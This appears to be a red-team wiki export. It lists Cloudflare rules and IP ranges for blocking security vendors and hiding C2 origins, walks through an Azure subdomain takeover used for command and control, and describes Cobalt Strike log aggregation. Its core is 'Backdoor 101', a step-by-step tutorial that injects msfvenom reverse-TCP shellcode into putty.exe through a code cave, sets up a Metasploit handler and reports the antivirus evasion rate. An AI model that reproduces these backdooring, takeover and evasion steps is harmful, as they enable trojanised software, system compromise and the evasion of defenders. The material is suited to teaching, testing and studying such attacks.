64.4.0.0/16 64.74.215.0/24 65.154.226.0/24 65.197.254.0/24 65.201.134.0/24 65.52.0.0/16 65.54.0.0/16 65.55.0.0/16 66.93.208.240/28 67.202.0.0/16 67.219.240.0/23 67.219.242.0/23 67.219.244.0/23 67.219.246.0/23 67.219.248.0/23 67.219.250.0/23 67.219.252.0/23 67.231.144.0/24 67.231.145.0/24 67.231.146.0/24 67.231.147.0/24 67.231.148.0/24 67.231.149.0/24 67.231.151.0/24 67.231.158.0/24 70.132.0.0/16 70.37.0.0/16 70.42.131.0/24 71.152.0.0/16 72.21.0.0/16 72.44.0.0/16 72.5.231.0/24 72.5.65.0/24 74.201.127.0/24 74.217.90.0/24 75.101.0.0/16 79.125.0.0/16 84.33.17.128/25 85.115.60.0/24 87.238.0.0/16 89.38.150.0/24 91.199.104.0/24 91.212.136.0/24 91.220.42.0/24 92.0.0.0/8 93.0.0.0/8 94.0.0.0/8 94.245.0.0/16 95.0.0.0/8 95.183.244.0/24 95.45.252.0/29 96.0.0.0/8 96.127.0.0/16 96.45.32.0/20 96.45.32.0/21 96.45.40.0/21 97.0.0.0/8 98.0.0.0/8 99.0.0.0/8 99.79.0.0/16 99.80.0.0/16 99.82.0.0/16 99.84.0.0/16 99.86.0.0/16 100.20.0.0/16 100.24.0.0/16 103.13.69.0/24 103.246.0.0/16 103.4.0.0/16 103.8.0.0/16 103.96.20.0/22 104.129.204.0/24 104.208.0.0/16 104.209.0.0/16 104.210.0.0/16 104.211.0.0/16 104.214.0.0/16 104.215.0.0/16 104.40.0.0/13 104.40.0.0/16 104.41.0.0/16 104.42.0.0/16 104.43.0.0/16 104.44.0.0/16 104.45.0.0/16 104.46.0.0/16 104.47.0.0/16 107.20.0.0/16 107.23.0.0/16 111.221.0.0/16 122.248.0.0/16 124.47.150.0/24 124.47.189.0/24 131.253.0.0/16 134.170.0.0/16 137.116.0.0/16 137.117.0.0/16 137.135.0.0/16 138.91.0.0/16 143.127.10.0/23 143.127.100.0/24 143.127.102.0/24 143.127.103.0/24 143.127.119.0/24 143.127.136.0/24 143.127.138.0/24 143.127.139.0/24 143.127.14.0/23 143.127.2.0/24 143.127.241.0/24 143.127.242.0/23 143.127.87.0/24 143.127.89.0/24 143.127.93.0/24 143.204.0.0/16 146.101.76.0/23 146.101.78.0/24 148.163.148.0/22 148.163.156.0/23 150.70.0.0/22 150.70.104.0/22 150.70.110.0/24 150.70.112.0/20 150.70.12.0/22 150.70.160.0/20 150.70.176.0/20 150.70.192.0/21 150.70.224.0/20 150.70.240.0/20 150.70.31.0/24})
```

**Rule 2:**

```
(ip.src in {150.70.4.0/22 150.70.64.0/18 150.70.64.0/20 150.70.8.0/22 150.70.80.0/20 150.70.96.0/20 154.59.123.0/24 154.59.126.0/24 155.64.105.0/24 155.64.138.0/24 155.64.16.0/23 155.64.23.0/24 155.64.38.0/24 155.64.40.0/24 155.64.49.0/24 155.64.56.0/24 155.64.63.0/24 157.175.0.0/16 157.55.0.0/16 157.56.0.0/16 160.1.0.0/16 165.255.0.0/17 166.98.152.0/23 166.98.242.0/23 166.98.38.0/24 166.98.67.0/24 166.98.71.0/24 168.61.0.0/16 168.62.0.0/16 168.63.0.0/16 172.96.0.0/16 173.243.128.0/20 173.243.136.0/21 173.94.0.0/16 174.129.0.0/16 175.41.0.0/16 176.32.0.0/16 176.34.0.0/16 177.71.0.0/16 177.72.0.0/16 178.236.0.0/16 180.189.28.0/24 182.75.165.176/30 184.169.0.0/16 184.72.0.0/16 184.73.0.0/16 185.143.0.0/16 185.48.0.0/16 185.58.84.0/22 191.232.0.0/16 191.233.0.0/16 191.234.0.0/16 191.235.0.0/16 191.236.0.0/16 191.237.0.0/16 191.238.0.0/16 191.239.0.0/16 193.149.0.0/16 193.7.204.0/24 193.7.207.0/24 194.104.108.0/24 194.104.111.0/24 195.130.217.0/24 195.189.155.0/24 198.6.32.0/20 198.6.32.0/24 198.6.34.0/24 198.6.44.0/23 198.6.48.0/24 198.6.62.0/24 199.116.168.0/21 199.167.52.0/24 199.167.53.0/24 199.167.55.0/24 199.254.238.0/24 199.30.0.0/16 199.30.228.0/22 202.126.13.0/24 202.189.133.0/24 203.83.0.0/16 204.13.200.0/22 204.141.92.0/24 204.231.0.0/16 204.236.0.0/16 204.246.0.0/16 205.139.110.0/23 205.251.0.0/16 206.165.76.0/24 207.102.138.0/24 207.171.0.0/16 207.211.30.0/24 207.211.31.0/24 207.46.0.0/16 207.68.0.0/16 207.82.80.0/24 208.184.7.0/24 208.80.192.0/21 208.84.65.0/24 208.84.66.0/24 208.86.202.0/24 208.86.203.0/24 208.87.232.0/21 208.87.232.0/24 208.90.236.0/22 208.91.112.0/22 208.91.112.0/23 208.91.114.0/23 209.240.0.0/16 213.199.0.0/16 216.10.192.0/20 216.10.193.0/24 216.137.0.0/16 216.145.219.0/24 216.145.221.0/24 216.182.0.0/16 216.205.24.0/24 216.35.243.0/24 216.35.244.0/24 216.82.240.0/22 216.82.246.0/24 216.82.248.0/22 216.82.252.0/22})
```

4\) After inserting the rule in respectively, you should get the following change in the UI by clicking 'use expression builder':

![](/files/-Ma-fBfd5GakDFHm0Lk3)

![](/files/-Ma-fGVXANJbSVZpQB69)

5\) Now just scroll down to the bottom and click 'deploy':

![](/files/-Ma-fOcauWXTDNb8cKjB)

6\) Once the deployment is working, it will show up on the UI as shown below:

![](/files/-Ma-fWaaMw-fUg2YoLBx)

### What it looks like when you're blocked

![](/files/-Ma-ft7MOdC_8SnDFdwt)

## Using CloudFlare Firewall Rules to Block Bots

### Steps to Enable 'Bot Fight' Mode

Navigate to Firewall > Bots, then enable it.

![](/files/-Ma-gJtH_x18Sf1vxhHJ)

Currently have no clue as to what it really does, as I haven't botted enough to make it think I'm a Bot. However, I think that it can be made useful if there's internet wide scanners who are constantly scanning. CloudFlare's Threat Intel feeds will hopefully block or restrict those IP addresses and make it harder for those services to access your infrastructure.

## Whitelisting CloudFlare on your Redirectors or Servers

To ensure that our origin doesn't get discovered, or directly attacked by the Blue Team, or the Cyber Threat Intelligence community, it is best to whitelist CloudFlare and block access to your origin server from any other locations. To do this, we can utilize `iptables` rules to allow only CloudFlare IP Address Ranges to TCP port 80 and 443.

{% hint style="info" %}
TLDR: Use iptables to whitelist CloudFlare IP Address Ranges and default deny everything else.
{% endhint %}

### IPTables Commands to Whitelist CloudFlare - only

```
for i in `curl https://www.cloudflare.com/ips-v4`; do iptables -I INPUT -p tcp -m multiport --dports http,https -s $i -j ACCEPT; done
for i in `curl https://www.cloudflare.com/ips-v6`; do ip6tables -I INPUT -p tcp -m multiport --dports http,https -s $i -j ACCEPT; done
iptables -A INPUT -p tcp -m multiport --dports http,https -j DROP
ip6tables -A INPUT -p tcp -m multiport --dports http,https -j DROP
```

## Further Ideas

* Community driven effort to identify IP address ranges used by various CTI providers.
* Automatically block connections from Brand Protection related providers because many organizations are using these solutions. If the CTI provider cannot even load the webpage, perhaps there's less chance of a domain takedown.

## References

\[1] Jason Lang's Bad IP List: <https://gist.githubusercontent.com/curi0usJack/971385e8334e189d93a6cb4671238b10/raw>

\[2] Jeff Dimmock's Red Team Infrastructure Wiki: <https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki>


# Azure Apps for Command and Control

Azure Apps are often subject to subdomain takeovers, or you might even want to use Azure Apps for Command and Control!

## Why Azure Apps?

Azure applications are often used by organisations to host websites. We can see many significant sites using them; the market share is quite large. We often hear and see Azure Apps appearing in bug bounties via. the likes of subdomain takeover vulnerabilities, see:

{% embed url="<https://hackerone.com/reports/325336>" %}

{% embed url="<https://ianduffy.ie/blog/2016/11/26/azure-bug-bounty-pwning-red-hat-enterprise-linux/>" %}

## What are we doing here?

Although you might be thinking, "I can't take over people's domains and use it as command and control or for phishing in our engagements!". Sure, but it could very well be possible that your customer's subdomains are vulnerable - it's always worth checking.

To exploit and use a subdomain takeover, you would've had to write some code and deploy it on Azure apps; I gave up. I went and just wrote a Python script to proxy all the traffic to my selected host over HTTPS. This way, we can re-use this code as many times as we want, for dynamic content feeding through Azure Apps.

### Subdomain Takeover via. Azure App Overview

A subdomain takeover state via. Azure App is when a customer of Azure uses Azure Apps, configures their domain to point to the Azure App, has some fun with it, and then one day decides that they don't want to use it anymore, so decide to kill off the Azure App - but they don't delete the record pointing to Azure.

You might be wondering why this happens? There are many reasons, we're not here to discuss, but the basic ones I hear of are:

1. **Cloud infrastructure deployment team is not the same team as the DNS management team**. Hence lost in communication pipelines somewhere.
2. The person does not know that the DNS record still pointing to Azure would be an issue.
3. "Why does it matter if someone's hosting stuff on our subdomain? They aren't hacking us."

Whatever the reason may be, you can be sure that these vulnerabilities often prop up on assessments and can be used to hide under the radar of the blue team. Let's be clear; I've found the following types of organisations to be vulnerable:

* Airline subdomains
* Big Four / Large consultancy subdomains
* Energy company subdomains
* Global and local bank subdomains
* Global retailer subdomains
* Government subdomains
* Insurance subdomains
* Microsoft subdomains
* Phone manufacturer subdomains
* Telecom subdomains
* Transport subdomains

So yeah, it's not exactly a small issue. For the unethical, it's a big surface. For the professionals doing Attack Simulation engagements, **we still have a good chance our customer might have an associated domain's subdomain that might be vulnerable**.

### How does it work?

On this occasion, I've deliberately taken my domain of `megacorp.icu` and set a vulnerable subdomain pointing to Azure Apps. Specifically: `myvulnerableapp.azurewebsites.net`. Azure websites are not the only Azure App domain extension, the ones I generally look out for (when it comes to Azure Apps specifically) are:

* \*.[cloudapp.net](http://cloudapp.net/)
* \*.[cloudapp.azure.com](http://cloudapp.azure.com/)
* \*.[azurewebsites.net](http://azurewebsites.net/)

Take a look at the following vulnerable DNS record:

![](/files/-Lf5aTXLYgv0gNR8kxnw)

You can see that there's a missing slot, and no A name record for the final IP to connect to. Ths is because the `myvulnerableapp` is not registered in Azure Apps.

### Let's exploit it

To exploit this, login to the Azure console, and create a new Azure App:

![](/files/-Lf5bGv61cc-9LY4IsmM)

Make sure that you create an F1 instance, in my opinion. Unless of course you're mega rich and don't mind paying like per hour for the premium instance (which I did, and ended up being billed US$200 before I even knew what happened).

After the instance is ready, I like to start with a template:

```
git clone https://github.com/Azure-Samples/python-docs-hello-world
```

Then `cd` into it, and edit the `application.py` file (with the code from my GitHub):

![](/files/-Lf5dLXd1330OjLS1qYF)

Add `urllib2` to the `requirements.txt` file:

![](/files/-Lf5oMX9zry0s6EKK2TA)

Save the file. To skip the previous steps of picking F1 and using the GUI, you can create the whole app and deploy from CLI:

```
az webapp up -p F1 --sku F1 -n myvulnerableapp
```

![](/files/-Lf5oYof9RrG5zpNlpS6)

Test that the page works by visiting the URL:

![](/files/-Lf5oD-AinPvERGuexYi)

Once it's working, you can go to the Azure portal and configure the custom domains as shown below:

![](/files/-Lf5oxqxVZn5QZuVxOP1)

Once you've added the record, you can do a DNS lookup again, and you will see that it's now completed changed. See following screenshot:

![](/files/-Lf5p5cUhrZ-4ngqoBtQ)

Visit the domain we took over of hansolo.megacorp.icu and you can see our content from our C2 server:

![](/files/-Lf5pOh7bYAhu03_tEZo)

If you want to use HTTPS, you will need to upload your SSL certificate to the Azure portal and bind the SSL certificate to it.

## Video

For those that prefer a video to learn from, here you go!

{% embed url="<https://www.youtube.com/watch?v=jFFzq4g8K2Q>" %}

## Git the goods

{% embed url="<https://github.com/vysecurity/AzureAppC2>" %}

### References

To better understand Subdomain takeovers, Patrik Hudak has an excellent blog resource: <https://0xpatrik.com/>


# CobaltSplunk

{% hint style="danger" %}
Images are broken, I will fix when I have time.
{% endhint %}

TLDR; use Splunk as a central log database and analysis system for offensive infrastructure logs. In many engagements, you will want accurate logging across multiple RAT systems, phishing web servers, mail systems, and more. Currently only supports Cobalt Strike, but will be looking at supporting Empire, Pupy, Metasploit, Apache, Nginx, and more!

## Introduction <a href="#introduction" id="introduction"></a>

How many times have you lead or operated on an attack simulation and the point of contact calls you at the most unexpected moment and says "We are experiencing disruptions on X service, is it you?". Being able to respond accurately in a swift manner is key to differentiating your services against competition in the market place. Good project management, organisation, and ability to answer questions as they come, help towards creating a stronger relationship.

This blog post will highlight a project that I've been working on called CobaltSplunk (will be later renamed), which is essentially a dashboard and set of pre-defined and packaged queries for querying Cobalt Strike logs.

## Setup <a href="#setup" id="setup"></a>

### Installing Splunk Forwarder <a href="#installingsplunkforwarder" id="installingsplunkforwarder"></a>

In my scenario I am using a Cobalt Strike server hosted in the cloud (as it's a test environment). There has been plenty of arguments as to whether this is good or bad practice. I'm not going to talk about that here. That's for the choice of your team and your company's data protection.

If you don't need to use a Cobalt Strike server in the cloud and you are already punching a hole out to the cloud, then you can skip the hole punch piece and just set the forwarder to connect to a local Splunk server.

First, install Splunk on the server:\
`dpkg -i splunkforwarder.deb`\
You can download the SplunkForwarder DEB file from the Splunk website after logging in.

Configure the forwarder:\
`cd /opt/splunkforwarder/bin; ./splunk enable boot-start`

It will ask you for an indexer IP, set it to your Splunk instance IP. If you are punching a hole such as: `ssh TARGET -R 127.0.0.1:9997:127.0.0.1:9997` from the Splunk server out to your cloud-based server, then you can set the indexer IP to `127.0.0.1:9997`.

Once that has been configured you can check your configuration settings using: `./splunk list forward-server` which will show the forwarder as inactive. Type `./splunk start` to activate it and `./splunk list forward-server` again to ensure that the forwarder is now indeed active.

Once your forwarder is active, you are ready to proceed and start adding logs to be monitored and ingested into Splunk.

### Getting logs into Splunk <a href="#gettinglogsintosplunk" id="gettinglogsintosplunk"></a>

I began by making an index called SSH and Cobalt through the Splunk GUI and proceeded to the following commands.\
SSH Logs:\
`./splunk add monitor /var/log/auth.log -index ssh -sourcetype %APP%`\
Cobalt Strike Logs:\
`./splunk add monitor /root/cobaltstrike/logs/.../weblog.log -index cobalt -sourcetype weblog`\
`./splunk add monitor /root/cobaltstrike/logs/.../beacon_*.log -index cobalt -sourcetype beacon_log`

## Analysing Web Logs <a href="#analysingweblogs" id="analysingweblogs"></a>

Analysing web logs allow the operator to see who's communicating with the teamserver from an external perspective. This section goes over some analysis we can perform and leverage from web logs.

### Parsing Logs <a href="#parsinglogs" id="parsinglogs"></a>

Before we can begin utilising the web logs effectively we have to parse each of the logs we ingest. As Splunk does not know how to "understand" web and beacon logs, we have to teach it how. I used the field extractor tool with some manual regular expressions to effectively parse all of the log types. This is included in the CobaltSplunk application I am releasing with this post.

### Request URIs and Status Codes by IP <a href="#requesturisandstatuscodesbyip" id="requesturisandstatuscodesbyip"></a>

Discover web log requests grouped by IP\
`index=cobalt sourcetype=weblog | stats values(request) as request values(status_code) as status_code by ip`

![](/files/-LQ3Z9lzp3FjqrLpX3jd)

### Web Log Requests on a Map <a href="#weblogrequestsonamap" id="weblogrequestsonamap"></a>

Discover where requests are being made geographically by visualising in a map. If you're looking at a tracker that you may have used in an e-mail or phishing campaign, you easily visualise where the trackers have been triggered from.

![](/files/-LQ3ZGjMRQEKowIlqqsE)

![](https://vincentyiu.co.uk/content/images/2018/09/c.jpg)

The following uses the CENTRLOPS WHOIS plugin which allows us to quickly WHOIS all of the IR user agents and discover who they might be.

![](/files/-LQ3ZIrhU5MpXn9hSdLE)

## Analysing Beacon Session Logs <a href="#analysingbeaconsessionlogs" id="analysingbeaconsessionlogs"></a>

By having the Beacon session logs at our disposal, we understand all commands ran, and also visualise a couple of things such as the external IP address where applicable. Once again, all parsing is already complete and I have this all readily available in the released CobaltSplunk Splunk App.

A quick look at when I was debugging the parsing of logs using `rex`:

![](/files/-LQ3ZKpyCjCF5Cj52SHU)

We can see all of the logs by beacon session obtained:

![](/files/-LQ3ZMT_KN1uIAdd_ih8)

We can also search for commands run by a specific operator across all servers.

![](/files/-LQ3ZOE5vhGDCsFQbM-5)

We can grab all of the commands run on a specific beacon session:

![](/files/-LQ3ZQ-nmB1EDl7aHzKq)

## Dashboards <a href="#dashboards" id="dashboards"></a>

### ATT\&CK Dashboard <a href="#attckdashboard" id="attckdashboard"></a>

#### Why ATT\&CK? <a href="#whyattck" id="whyattck"></a>

Now that that's out of the way, we can go into some of the more useful stuff. ATT\&CK has pretty much become the standard for classifying adversary actions that allow organisations to better understand the TTP of threat actors. When we need to provide evidence of what techniques were run that map back to ATT\&CK TTP, we can do that quickly in the CobaltSplunk dashboard, in **real-time**. I know that Cobalt Strike already has it's reporting features but that requires manually clicking and exporting a report. This gives the data in real-time as new commands are being executed. See below:

![](/files/-LQ3ZSaJYCy8cGkPfbxl)

### Map Overview Dashboard <a href="#mapoverviewdashboard" id="mapoverviewdashboard"></a>

Maps are always fun, probably not the most informative. However, I'd still prefer a map overview rather than going to IP location websites to try and figure out what the location is from. Being able to do this on a massive scale across all received logs and display it on a map is good value. Splunk makes it easy to do so as we can see below:

![](/files/-LQ3ZWHajjee0akAxqcF)

The map above shows the connections received on HTTP/S on Cobalt Strike across the world, and where concentration points are. For example, if someone has been bruteforcing my server, we can see a larger spike.

For example, you could track phishing campaign clicks by using the input field:

![](/files/-LQ3ZYPJZhtEYbnFHLZv)

At some point, I will work on incorporating Apache and Nginx logs. So if you choose to host your phishing campaigns elsewhere, you can track it all in one central location. You can then construct queries such as "how many people clicked on the link across the Globe, grouped by Country" or you could even check for execution if you have trackers in code execution before implant trigger.

Many people like to use GoPhish for mass phishing campaigns, their dashboard is pretty useful. The output is pretty useful too. I'm hoping to encorporate all of those into Splunk so that you can track per campaign, all of the obtained credentials, at ease.

Back on topic, I've also whipped the same thing up for more likely IR user-agents such as Curl and Wget. This way you can immediately see if it's likely that your target has IR teams spotting you, or if its just an automated scanner / sandbox:

### Compromise Overview Dashboard <a href="#compromiseoverviewdashboard" id="compromiseoverviewdashboard"></a>

How many times have you been on an engagement and a client asks you on the call "we've seen activity on computer XLAP005211, is that you?" or "we spotted a phishing attack from \<disgustingdomain.com>". Your client expects you to have consolidated information across your team of maybe 5 guys on a long term gig that's been running for 6 months. What if you can just search on Splunk?

I whipped up a quick dashboard that would allow me to search through compromised assets for a hostname, IP, or external IP. This currently only supports Cobalt Strike logs, but will be expanded to other logs in the future. Many operators will begin using Cobalt Strike across long gigs due to discoverability these days. Many commands will be issued out of band, one solution is to monitor SOCKS proxy logs and commands issued. I will go into this later in a separate post and centralise all of the logging to make it easier.

For now, let's have a look at the following dashboard:

![](/files/-LQ3ZpP3I5G-zpEkgz4e)

## GitHub <a href="#github" id="github"></a>

You can download the CobaltSplunk application here:\
[https://github.com/vysecurity/CobaltSplunk](https://github.com/vysec/CobaltSplunk)

## Conclusion <a href="#conclusion" id="conclusion"></a>

Splunk log aggregation and collection can help your team better manage what's happening across many assets and servers. If you have an operation that requires 50 different servers, this would help you to quickly answer questions especially for larger teams. Let's say the point of contact calls you at 3am in the night, your team needs to be able to answer questions, quickly and precisely. This helps to achieve that goal and also provide your team with centralised logging.

### What's coming next? <a href="#whatscomingnext" id="whatscomingnext"></a>

* Apache / Nginx logs
* Bash history per server
  * Log and track use of tools such as proxychains to allow ease of discovery for further touched assets.
* Further operational security
  * Incorporate VT hash checking and alerting
  * Alerting when SSH login to servers
* ? GoPhish logs ?
  * More useful for mass phishing campaigns, not a priority.


# Backdooring PE Files

A couple of posts about backdooring PE files.


# Backdoor 101

*Note: this post was made in September 2015*

### Introduction <a href="#introduction" id="introduction"></a>

This method approaches a basic technique in a diverse way. This process does not utilize any advanced mechanisms such as shell code obfuscation, code cave region splitting or ROP. This paper presents the concept of hooking ExitProcess to redirect execution flow and bypasses VirusTotal reasonably well at a 89% evasion rate.

A backdoor is an alternate path that allows an attacker to compromise a system. By utilising a back door in an executable, we are creating a Trojan horse. The process required to create such an executable requires modification so that when it is running, it provides a door which allows an attacker to penetrate the system. The notion of executable back doors are often a strong method that can provide persistence without the addition of a new start-up program or system service. We can re-use existing software by taking the existing start-up programs or system services on the target system and add our malicious code. I have decided to create this post as an introductory tutorial to manual back door injection into executables. In this particular post, I will be focusing on the basics of shell code injection by redirecting code execution flow. This is a basic method and is taught in most tutorials and involves the use of code caves which will be discussed later on in the paper. In this scenario, I will be hooking a point in the path of execution flow that the **exiting** of the program had triggered.

The reason as to why I chose the exit procedure is due to how a lot of anti-virus scanners as well as virtualisation agents operate. Generally, these detection systems will either be signature based or try to run the software and detect any malicious behaviour. A common malicious behaviour that is detected is the attempt to connect out of the system to the internet. There were many suggested methods to bypass virtualisation such as using a delay upon opening software before launching the malicious code in hope that it times out. However, some virtualisation engines can make use of the system clock to speed up this process. If we use the exit procedure instead and require user interaction, an automated script will find it difficult to trigger our payload and analyse its behaviour. In most cases, a user will need to exit the process so a click of the “X” at the top right of an application is generally the way — doing so will trigger the exit branch code. In this paper, we will find where that exit branch is and find an arbitrary point to redirect flow to our code cave.

The following diagram highlights the concept of redirecting traffic flow to our malicious content.

![](/files/-LQ2wFCjrzRF0rcGRqZO)

### Finding exit flow <a href="#findingexitflow" id="findingexitflow"></a>

Finding the exit flow allows us to redirect the code upon this path to our malicious code section when the exit button is pressed. To discover the point at which the **exit** function is called, tracing is required. In order to find and trace the flow of exit, we need to be able to find a point of reference. The point of reference we will use in this case is a call to the kernel32 function ExitProcess. In this example, I will be using\*\* putty.exe\*\*. To perform this and to find a reasonable point of injection on the path of flow, we need to open putty.exe in Ollydbg.

We need to ensure that the program loads into Ollydbg and that it starts at the Open Entry Point (OEP \~ usually around 00400000).

To find where ExitProcess is, we can right click on the disassembler screen -> search for -> names as shown:

![](/files/-LQ2xX8K0WPXk5LanVKH)

To search through the different functions that are used, we can type ExitProcess and Ollydbg, this will begin searching as displayed in the next screenshot.

![](/files/-LQ2xZ62TyXx-vdjfcwY)

After finding the function, we need to find reference points in the program where the function is called:

![](/files/-LQ2yYHPIxYBhDXaVCWs)

To set a break point on both of these, we can press F2 (toggle break point) whilst highlighting each one as shown. Another method of toggling break points is by right clicking on the address and clicking toggle break point.

![](/files/-LQ2yZwwio4rE0_FTe3v)

The next step is to continue the execution of the program until it stops at any of our set breakpoints by pressing F9 and pressing the “X” to close the program. When it stops we can observe the stack to further understand the execution flow and the calls made:

![](/files/-LQ2ylbPVNnYLZISzWxy)

From observing the stack, we can now see the nest of calls made up until this point of execution. We can find a reasonable point of execution further up the stack in which still lies on the path after clicking the “X” to exit the program. This is achieved by understanding that all return addresses are stored on the stack along an execution path so that the program knows where to return to. By noticing these addresses, we can select a point in which we believe to be within process owned memory that lies on the exit procedure flow. The highlighted line in the image below on the stack view displays the address that a call will eventually return to during process flow. On the disassembler view, we can see that I have put a breakpoint on the instruction at 0x004493F2 which was previously called on execution flow but the address of 0x004493F7 is on the stack to return to at a later point of the procedure. This is important and requires testing to see whether it is indeed triggered after pressing the “X” button in putty.

![](/files/-LQ2ymxgRFP6TEXAxtQd)

We can now test this address to ensure that it is indeed on the ExitProcess execution route. We test this by restarting the process and pressing F9 (resume execution) or by going to the bar at the top and pressing “debug” -> “run” to run putty then pressing “X” to trigger the exit process procedure. As we can see in the following image, it is indeed on the flow because the program stops at this breakpoint. This is indicated by the black highlighting of the address as shown, with red text meaning that we have a break point set.

![](/files/-LQ2yoTFANzrmHc8h2sO)

### Searching for a code cave <a href="#searchingforacodecave" id="searchingforacodecave"></a>

To search for a code cave, we must first understand what they are. A code cave is a section of code that is not used by the program and this means that we can insert any arbitrary code into without affecting execution flow. When taking screenshots for this guide, I used a bad section for the code cave — so do not use the same addresses. This was not repeated for me to take better screenshots because it was 4am and I wanted to publish this paper quickly as I wanted to work on more advanced techniques tomorrow. I shifted the beginning of my code cave further down due to a null byte that had randomly found its way into my shell code during execution. In most cases, the most sensible option for finding a code cave is to search for long sequences of null bytes.

To search for code caves in Ollydbg, we can right click on the hex dump -> search for -> binary string as shown below:

![](/files/-LQ2yppEcQnSqQkdJawD)

After doing so, we can type in a long chain of null bytes. On the next step, we generate the shell code and there is an indicator as how much space is required. In most cases, shell code splitting will not be required so an amount of null bytes larger than the shell code size should be searched for. Although the following screenshot does not show a selection in “Entire block”, it is recommended that you use it. The “Entire Block” selection enables the search to be both forward and backwards from the current position you are searching from.

![](/files/-LQ2yrDpiCw70k2v5Zrl)

The following result is obtained. There is a code cave found at address 0x0047A053. Taking this method of finding code caves, we can find a lot of code caves of different sizes to split the shell code. The splitting of the shell code and obfuscation of traffic redirection is not covered in this tutorial.

![](/files/-LQ2yswfpX13kmBM95u1)

### Generating malicious shell code <a href="#generatingmaliciousshellcode" id="generatingmaliciousshellcode"></a>

In this scenario, I have set up two virtual machines. The first machine has Kali Linux installed. The attacking box has the Internet Protocol (IP) address of 192.168.1.130 as displayed below:

![](/files/-LQ2zWRl-2-AM2h0Escm)

The second of the two machines has Windows 7 installed and is located at the IP address of 192.168.1.132 as laid out in the following screenshot:

![](/files/-LQ2zXgIe8J1OlwJBJRI)

For this tutorial, I have chosen a basic payload which provides a windows shell through the use of reverse TCP protocol transport on port 443. using the following command:

```
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.130 LPORT=443 -f hex
```

The msfvenom script returns an appropriate hex dump of the payload for windows as shown:

![](/files/-LQ2zYu3Qj2WW7e_XnO4)

### Inserting the shell code <a href="#insertingtheshellcode" id="insertingtheshellcode"></a>

Before inserting the shell code into the code cave, we need to understand how to preserve the status of the registers and flags.

The general process is:

1. Saving of registers
2. Saving of flags
3. Executing shell code
4. Stack alignment
5. Restoring of registers
6. Restoring of flags

Following this, we need to resume the previous execution path in order to be stealthy (we do not want the application to crash as it would look suspicious). This translates to the following pseudo-opcodes.

```
PUSHAD       # save the registers
PUSHFD       # save the flags
SHELLCODE
ALIGN STACK  # align ESP with where we saved our registers and flags
POPFD        # restore the flags
POPAD        # restore the registers
ORIGINAL INSTRUCTION(S) REPLACED BY JUMP
JMP <BACK TO NEXT INSTRUCTION>
```

Below shows two screenshots. The first screenshot displays the empty code cave and the second screenshot portrays the shell code populated code cave.

![](/files/-LQ2za5EJV5l0AIMO3bG)

We can check that the code is in fact correct by looking at the disassembler view which displays the following Operation Codes (opcodes). The shell code is injected into the code cave alongside the pushad, pushfd, popfd, popad and fixed instructions accompanied with a jump back to correct the execution flow.

![](/files/-LQ2zbkeRb1kqI70wBAd)

![](/files/-LQ2zcqqPED3wxoM8J-2)

### Saving all changes to file <a href="#savingallchangestofile" id="savingallchangestofile"></a>

It may not be possible to save both the original code cave jump as well as the code cave at once. Therefore it may be advisable to save in two steps. To save changes, highlight the proposed changes and right click -> edit -> copy to executable. The following screenshot displays this:

![](/files/-LQ2zeEGZDh6WWFlB9tU)

To save it, we can follow this screenshot on the next dialog box that pops up.

![](/files/-LQ3-ESBnpZhI3kJ8FdF)

### Set up the handler <a href="#setupthehandler" id="setupthehandler"></a>

In order to handle this payload effectively, it is suggested that metasploit is used. To perform this, the following commands are used:

```
msfconsole
use exploit/multi/handler
set payload windows/shell/reverse_tcp
set LHOST 192.168.1.130
set LPORT 443
exploit
```

The following screenshot displays these applied settings:

Now we can execute the backdoored putty executable **bkd.exe** on the **victim** **machine**and **close** the executable. This allows us to trigger the correct execution flow and ensure that our code cave is being accessed. This is apparent when we get a result as displayed by the following image:

![](/files/-LQ3-G311f62cz7xA07z)

Now we can execute the backdoored putty executable **bkd.exe** on the **victim** **machine**and **close** the executable. This allows us to trigger the correct execution flow and ensure that our code cave is being accessed. This is apparent when we get a result as displayed by the following image:

![](/files/-LQ3-H__tBDBeLsoTdXd)

Through this, we can now upgrade this shell to a more advanced shell such as the **meterpreter** shell but this will not be displayed in this tutorial as it is trivial to do so. The use of the meterpreter shell was possible. I did not do so in the tutorial due to my preference of simple shells.

### Results and conclusion <a href="#resultsandconclusion" id="resultsandconclusion"></a>

In this section, we discuss the results for our backdoor’d binary. VirusTotal is a popular scanning solution which makes use of 54 different antivirus software from various vendors. Although this means that it is possible for my sample to be undergoing inspection by researchers due to the submission to VirusTotal. However, this should not affect me nor any potential readers as this method is simple and should be used as a throw away technique that we can burn. This allows us to enjoy a broad view and understand which of the currently popular antivirus software can detect our malicious binary. The shell code that we used has been previously signatured by many antiviruses due to the static generation nature of msfvenom. However, with some time, it is trivial to translate the shell code into an equivalent but longer shell code that is undetected to signature scans. If vendors begin to simulate a click on the “X” button to close processes, we can then look into hooking other elements of UI or execution flow such as but not limited to:

1. Right-clicking on screen -> execute payload
2. File -> open dialog pops up -> execute payload
3. If price of currency in ForEx trading software exceeds $Z,ZZZ,ZZZ dollars -> execute payload
4. If turbulence on plane is detected -> execute payload
5. When USB device is attached -> execute payload
6. If AV does not exist -> execute payload

VirusTotal results are shown below:

![](/files/-LQ3-JG_krWpiBEXaJgs)

With an evasion rate of approximately 91%, the results look promising for a simple Exit procedure hook. This begs the question as to what possibilities can arise when we consider advanced techniques such as shell code splitting, shell code obfuscation and ROP injection.

Through further investigation into ROP, it is possible but very practical to make use of ROP to tamper with the execution flow of a program to run malicious shell code. Giorgos Poulios, Christoforos Ntantogian and Christos Xenakis explain that ROP injection provides new heights for evasion with a whitepaper presented at Blackhat 2015\[1].

As this is my first blog post, any criticism, feedback or recommendations will be highly valued.

### References <a href="#references" id="references"></a>

\[1]: [Return Oriented Programming for Polymorphism and Antivirus Evasion - BlackHat 15](https://www.blackhat.com/docs/us-15/materials/us-15-Xenakis-ROPInjector-Using-Return-Oriented-Programming-For-Polymorphism-And-Antivirus-Evasion-wp.pdf)


# Backdoor 102

*Note: this post was created on September 2015*

### Introduction <a href="#introduction" id="introduction"></a>

This episode of Backdoor will consider the idea of analysing shell code to find areas which can be easily split into multiple smaller pieces of shell code. This will allow a larger piece of shell code to be split easily into smaller pieces that will then require minimal adjustments to ensure that it works. In this particular instance, we will not be focusing our efforts to increasing the evasion rate of the back door — that will be discussed in a later episode.

Shell code generated by **msfvenom** uses relative short jumps so careless splitting of the shell code can lead to the code crashing. In order to overcome this issue, we will take the shell code generated and analyse the different branches within the shell code to further our understanding of its operation.

This tutorial will cover shell code splitting and how to test to ensure that the shell code’s original functionality has not been modified.

